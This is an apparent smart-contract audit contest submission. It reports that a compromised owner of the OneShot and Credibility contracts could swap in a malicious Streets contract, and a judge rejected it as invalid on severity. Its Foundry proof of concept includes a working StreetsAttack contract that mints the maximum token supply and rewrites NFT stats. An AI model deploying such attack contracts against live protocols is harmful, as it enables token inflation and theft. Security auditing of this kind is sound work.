Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

[H-2] Ownership is centralized which leaves open for infinite minting and of CRED and maxed out `IOneShot::RapperStats` without staking.

Description

Both OneShot and Credibility contracts have the address that deployed the contract as an owner. The owner can use both OneShot::setStreetsContract() and Credibility::setStreetsContract() to replace the streetAddress contract by a malicious one.

Impact

If the owner adress is compromised, a malicious contract implementing Streets can mint an infinite amount of CRED and max out IOneShot::RapperStats without staking.

Proof of Concept

Add the following to the OneShotTest.t.sol test suite.

Code
contract StreetsAttack is Streets {
error StreetsAttack__UnknownOwner();
address immutable i_owner;
constructor(address _oneShotContract, address _credibilityContract)
Streets(_oneShotContract, _credibilityContract)
{
i_owner = msg.sender;
}
function motherLoad() external {
uint256 currentBalance = credContract.totalSupply();
credContract.mint(i_owner, type(uint256).max - currentBalance);
}
function hyperbolicTimeChamber(uint256 tokenId) external {
if (oneShotContract.ownerOf(tokenId) != i_owner) {
revert StreetsAttack__UnknownOwner();
}
IOneShot.RapperStats memory stakedRapperStats = oneShotContract.getRapperStats(tokenId);
oneShotContract.updateRapperStats(tokenId, false, false, false, true, stakedRapperStats.battlesWon);
}
}
contract RapBattleTest is Test {
.
.
.
function test_weakDecentralization() public {
address attacker = makeAddr("attacker");
vm.prank(attacker);
StreetsAttack streetsAttack = new StreetsAttack(address(oneShot), address(cred));
// Compromised owner address sets new street contract
oneShot.setStreetsContract(address(streetsAttack));
cred.setStreetsContract(address(streetsAttack));
// Mint max amount of CRED
uint256 oldAttackerCredBalance = cred.balanceOf(attacker);
console.log("attacker balance: ", oldAttackerCredBalance);
streetsAttack.motherLoad();
uint256 newAttackerCredBalance = cred.balanceOf(attacker);
console.log("New attacker balance: ", newAttackerCredBalance);
assert(oldAttackerCredBalance < newAttackerCredBalance);
assert(cred.totalSupply() == type(uint256).max);
// Max out RapperStats NFT in less than 4 days
uint256 nftId = oneShot.getNextTokenId();
console.log("attacker's NFT id: ", nftId);
vm.prank(attacker);
oneShot.mintRapper();
uint256 oldDate = block.timestamp;
console.log("Time BEFORE stake: ", oldDate);
IOneShot.RapperStats memory oldStats = oneShot.getRapperStats(nftId);
console.log("NFT weakKnees stat: ", oldStats.weakKnees);
console.log("NFT heavyArms stat: ", oldStats.heavyArms);
console.log("NFT spaghettiSweater stat: ", oldStats.spaghettiSweater);
console.log("NFT calmAndReady stat: ", oldStats.calmAndReady);
streetsAttack.hyperbolicTimeChamber(nftId);
uint256 newDate = block.timestamp;
console.log("Time AFTER stake: ", newDate);
IOneShot.RapperStats memory newStats = oneShot.getRapperStats(0);
console.log("New NFT weakKnees stat: ", newStats.weakKnees);
console.log("New NFT heavyArms stat: ", newStats.heavyArms);
console.log("New NFT spaghettiSweater stat: ", newStats.spaghettiSweater);
console.log("New NFT calmAndReady stat: ", newStats.calmAndReady);
assert(oldDate == newDate);
assert(
oldStats.weakKnees != newStats.weakKnees && oldStats.heavyArms != newStats.heavyArms
&& oldStats.spaghettiSweater != newStats.spaghettiSweater && oldStats.calmAndReady != newStats.calmAndReady
);
}
}

Results: forge test --mt test_weakDecentralization -vv
Running 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] test_weakDecentralization() (gas: 870807)
Logs:
attacker balance: 0
New attacker balance: 115792089237316195423570985008687907853269984665640564039457584007913129639935
attacker's NFT id: 0
Time BEFORE stake: 1
NFT weakKnees stat: true
NFT heavyArms stat: true
NFT spaghettiSweater stat: true
NFT calmAndReady stat: false
Time AFTER stake: 1
New NFT weakKnees stat: false
New NFT heavyArms stat: false
New NFT spaghettiSweater stat: false
New NFT calmAndReady stat: true
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.77ms

Recommended Mitigation

Consider revoking ownership of Credibility and OneShot with Ownable::renounceOwnership().

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.